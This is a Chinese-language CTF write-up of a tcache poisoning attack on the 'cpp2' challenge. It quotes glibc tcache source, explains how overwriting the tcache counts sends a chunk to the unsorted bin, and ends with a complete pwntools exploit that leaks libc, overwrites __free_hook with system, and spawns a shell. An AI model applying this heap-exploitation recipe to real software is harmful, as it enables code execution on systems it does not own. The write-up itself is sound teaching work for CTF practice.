利用修改tcache的fd,从而使得tcache
先看一下tcache的源代码:
tcache_get():
static __always_inline void *
tcache_get (size_t tc_idx)
{
tcache_entry *e = tcache->entries[tc_idx];
assert (tc_idx < TCACHE_MAX_BINS);
assert (tcache->entries[tc_idx] > 0);
tcache->entries[tc_idx] = e->next;
--(tcache->counts[tc_idx]);
return (void *) e;
}
tcache_put():
tcache_put (mchunkptr chunk, size_t tc_idx)
{
tcache_entry *e = (tcache_entry *) chunk2mem (chunk);
assert (tc_idx < TCACHE_MAX_BINS);
e->next = tcache->entries[tc_idx];
tcache->entries[tc_idx] = e;
++(tcache->counts[tc_idx]);
}
可见tcache->counts[tc_idx]会记录tcache的个数,所以可以通过溢出来控制该参数,从而达到使得本该进入tchche的堆块进入unsortbin.
以华东杯cpp2为例
先泄露堆的地址,不多赘述 了
for i in range(2):
ad(i,0x67)
ad(2,0x67)
rm(0)
rm(1)
dp(1)
ru('\n')
heap = u64(rx(6).ljust(8,b'\x00')) - 0x12EC0 + 0x10
li("heap----->"+hex(heap))
重点说一下这里
md(1,p64(heap))
ad(3,0x67)
ad(4,0x67)
md(4,b'\x00'*0x48+b'\x00'*6+b'\x07')
rm(3)
rm(4)
dp(4)
一定要先free(3),再free(4)
free掉3后chunk_3会进入tcache,free掉4后tcache->counts[tc_idx]会全部修改。而这个tcache可以为2之后的攻击提供条件。
如果先free_4,再free_3,chunk_3会进入fastbin,将难以利用tcache_attack
先free(3),再free(4)
先free(4),再free(3)
之后泄露则利用进入unsortbin的chunk_4
chunk_4的size为0x290是因为tcache结构体为0x290,就是这个

最后exp如下
#! /usr/bin/python3
from pwn import *
import time
context.arch = 'amd64'
context.log_level = 'debug'
one = []
elf = ELF('./cpp2')
#io = remote('47.104.143.202',15348)
#libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
io = process('./cpp2')
libc = elf.libc
r = lambda x : io.recv(x)
rx = lambda x: io.recv(x)
ra = lambda : io.recvall()
rl = lambda : io.recvline(keepends = True)
ru = lambda x : io.recvuntil(x, drop = True)
s = lambda x : io.send(x)
sl = lambda x : io.sendline(x)
sa = lambda x, y : io.sendafter(x, y)
sla = lambda x, y : io.sendlineafter(x, y)
ia = lambda : io.interactive()
c = lambda : io.close()
li = lambda x : log.info('\x1b[01;38;5;214m' + x + '\x1b[0m')
one = []
def ad(idx,size):
sla('>>',str(1))
sla('I:>>',str(idx))
sla('S:>>',str(size))
def md(idx,con):
sla('>>',str(2))
sla('I:>>',str(idx))
sla('V:>>',con)
def rm(idx):
sla('>>',str(4))
sla('I:>>',str(idx))
def dp(idx):
sla('>>',str(3))
sla('I:>>',str(idx))
#-----------------------
for i in range(2):
ad(i,0x67)
ad(2,0x67)
rm(0)
rm(1)
dp(1)
ru('\n')
heap = u64(rx(6).ljust(8,b'\x00')) - 0x12EC0 + 0x10
li("heap----->"+hex(heap))
md(1,p64(heap))
ad(3,0x67)
ad(4,0x67)
md(4,b'\x00'*0x48+b'\x00'*6+b'\x07')
rm(3)
rm(4)
dp(4)
base = u64(ru(b'\x7f')[-5:] + b'\x7f\x00\x00')
base = base - 96 - 0x10 - libc.sym['__malloc_hook']
li("base----->"+hex(base))
system = base + libc.sym['system']
free = base + libc.sym['__free_hook']
#bin_sh = bases + libc.search(b'/bin/sh\x00')
li("system----->"+hex(system))
li("free----->"+hex(free))
md(3,p64(free))
ad(5,0x67)
ad(6,0x67)
md(5,b'/bin/sh\x00')
md(6,p64(system))
rm(5)
io.interactive()




